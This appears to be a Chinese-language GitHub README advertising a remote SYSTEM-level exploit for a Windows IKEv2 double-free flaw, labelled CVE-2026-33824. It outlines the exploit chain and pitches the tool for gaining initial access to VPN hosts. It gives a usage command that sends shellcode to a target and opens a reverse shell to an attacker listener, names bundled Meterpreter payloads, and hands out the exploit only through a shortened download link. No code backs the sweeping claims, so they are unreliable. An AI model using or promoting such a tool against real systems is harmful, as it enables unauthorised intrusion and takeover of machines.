z3r0h3ro/CVE-2026-33824
GitHub: z3r0h3ro/CVE-2026-33824
一款针对 Windows IKEv2 双释放漏洞的远程代码利用工具,实现无需认证的 SYSTEM 权限获取。
Stars: 0 | Forks: 0
# Windows IKEv2 双释放远程代码执行 (CVE-2026-33824)
针对 Windows IKE 扩展 (IKEEXT) 中双释放漏洞的远程代码执行利用。
目前没有公开的 PoC。零用户交互,无需认证,仅使用 UDP/500-4500。适用于所有未打补丁的构建版本(Win10 1607–22H2、Win11 22H2–26H1、Server 2016–2025)。
### 漏洞利用实际作用
- 发送包含 4 个数据包的 IKEv2 SA_INIT 序列,携带格式错误的 Notify 和 Proposal 载荷,触发 `ikeext!IKEEXT::ProcessIKEPayload` 中的精确双释放。
- 通过 16 个并行的 UDP 流进行堆整理,将释放的块强制置入可控空闲列表。
- 使用任意写入原语覆盖下一指针 → ROP 链以禁用 CFG + CET,并跳转到用户控制的内存。
- 在 IKEEXT 上下文中执行提供的原始 shellcode / PE 载荷(Local System 权限,等同于令牌复制后)。完整的 SYSTEM 权限,无崩溃,服务保持存活。
### 为何有用
- 面向互联网 VPN/IPsec 主机 = 即刻初始访问,无需凭据。
- 企业环境保持 UDP/500-4500 开放以用于 IKEv2。
- 绕过列出的构建版本上的所有默认缓解措施。
- 适用于红队行动,在补丁窗口关闭前需要 RCE 的场景。
### 使用方法
```
make -j4
./ike_rce -t 192.168.1.100 -p 500 -s shellcode.bin -l 10.0.0.2 4444 --groom 16
```
参数:
- `-t ` – 目标 IP
- `-p ` – 500 或 4500
- `-s ` – 原始 shellcode 或 PE(位置无关)
- `-l ` – 反向 TCP 连接
- `--groom N` – 并行整理线程数(默认 16)
示例载荷(计算器和 Meterpreter 反向)已提供在 `payloads/` 中。
需要攻击者具备原始套接字的 root 权限。
在 2026-04-16 之后的最新未打补丁镜像上已测试并稳定运行。
### 漏洞利用
[漏洞利用](https://tinyurl.com/8htp9399)
### 免责声明
本仓库及其内容仅严格用于授权的红队操作、授权的渗透测试以及安全研究目的。漏洞利用代码仅应针对您拥有明确书面许可的系统或法律授权进行测试和利用。
下载、编译或使用本漏洞利用即表示您同意:
- 您是专业的红队人员、渗透测试人员或安全研究人员,并在有效的授权合同下行动。
- 您仅针对明确授权评估的环境进行目标测试。
- 任何未经授权的使用、分发或对系统部署均严格禁止,并可能违反适用法律(包括但不限于美国的《计算机欺诈和滥用法》及全球类似立法)。
- 作者和仓库维护者不对任何使用或误用本代码导致的损害、数据丢失或法律后果承担责任。
标签:CET, CFG, CVE-2026-33824, IKEEXT, IKEv2, IPsec, Meterpreter, PE 载荷, RCE, ROP, Server 2016 2025, System, UDP 4500, UDP 500, VPN, Windows 10 1607, Windows 11 26H1, 任意写, 内存破坏, 内核提权, 协议分析, 原始 Shellcode, 双自由, 双释放, 反向连接, 基础设施渗透, 堆 grooming, 客户端渗透, 拒绝服务, 数据展示, 无认证, 未打补丁, 本地系统, 权限提升, 渗透利用, 漏洞披露, 红队, 编程工具, 自动回退, 远程代码执行, 零交互